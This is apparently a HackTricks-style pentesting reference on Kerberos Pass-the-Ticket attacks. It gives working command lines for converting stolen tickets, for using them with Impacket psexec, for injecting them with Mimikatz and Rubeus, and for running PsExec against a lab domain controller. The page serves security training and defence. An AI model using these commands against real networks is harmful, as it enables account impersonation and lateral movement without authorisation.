DΛΣMӨП

// HackTricks · Windows

Pass the Ticket

Pass the Ticket

Overview

In a Pass-the-Ticket (PtT) attack, an adversary uses a stolen Kerberos ticket to authenticate as the ticket’s principal without possessing that account’s password. A ticket-granting ticket (TGT) can be used to request service tickets, while a stolen service ticket is limited to its target service and validity period.[1]

For ticket acquisition techniques, see:

Converting Linux and Windows Ticket Formats

Kerberos caches commonly appear as MIT ccache files on Linux and .kirbi files on Windows. ticket_converter converts between these formats using an input ticket and output path.[2]

python ticket_converter.py velociraptor.ccache velociraptor.kirbi
# Expected message: Converting ccache => kirbi
python ticket_converter.py velociraptor.kirbi velociraptor.ccache
# Expected message: Converting kirbi => ccache

Kekeo also provides Kerberos ticket tooling on Windows.[3]

Using a Ticket

On Linux, point KRB5CCNAME to the cache and instruct an Impacket client to use Kerberos without prompting for a password:[4]

export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass

On Windows, Mimikatz or Rubeus can import a .kirbi ticket into the current logon session. Use klist to inspect the resulting cache.[5][6]

mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
.\Rubeus.exe ptt /ticket:'[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi'
klist
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

Ticket import does not grant privileges beyond those represented by the ticket and the target service’s authorization policy. Expired, revoked, malformed, or incorrectly scoped tickets may fail.[1]

For broader Kerberos attack context and related ticket-acquisition techniques, see Tarlogic’s Kerberos attack guide.[7]

References